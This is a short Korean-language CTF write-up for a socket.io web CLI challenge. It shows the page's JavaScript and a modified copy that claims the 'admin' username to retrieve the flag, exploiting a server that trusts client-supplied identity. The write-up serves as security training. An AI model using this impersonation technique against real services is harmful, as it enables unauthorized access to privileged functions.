문제에 접속하게 되면 다음과 같이 CLI 창이 뜨는 것을 알 수 있고 help 명령어를 통해 ls, id, flag 명령어를 입력할 수 있다는 사실을 알 수 있다. flag를 입력하면 admin only라는 사실 또한 알 수 있다.

image.png

문제 페이지의 js 코드는 다음과같다.

    $(function () {
      var username = "guest";
      var socket = io();
      $('form').submit(function(e){
        e.preventDefault();
        socket.emit('cmd',username+":"+$('#m').val());
        $('#m').val('');
        return false;
      });
      socket.on('cmd', function(msg){
        $('#messages').append($('<li>').text(msg));
      });
    });

코드를 살펴보면 socket = io()를 통해 새로운 소켓을 생성해주고, emit()을 통해 메시지를 보낸다.

그런 다음 on을 통해서 서버의 응답을 보여주고 있다. 지금 보내는 메시지를 보면 username:보내는 명령어 구조로 되어 있는데, 위에서 admin만 플래그 값을 볼 수 있다고 했으니 admin:flag로 메시지를 보낸다면 flag 값을 얻을 수 있을 것이다.


    $(function () {
      var username = "admin";
      var socket = io();
      $('form').submit(function(e){
        e.preventDefault();
        socket.emit('cmd',username+":flag");
        return false;
      });
      socket.on('cmd', function(msg){
        $('#messages').append($('<li>').text(msg));
      });
    });
    

해당 명령어로 요소를 수정한 후 입력창에 아무 값이나 입력하게 되면 flag를 획득할 수 있다.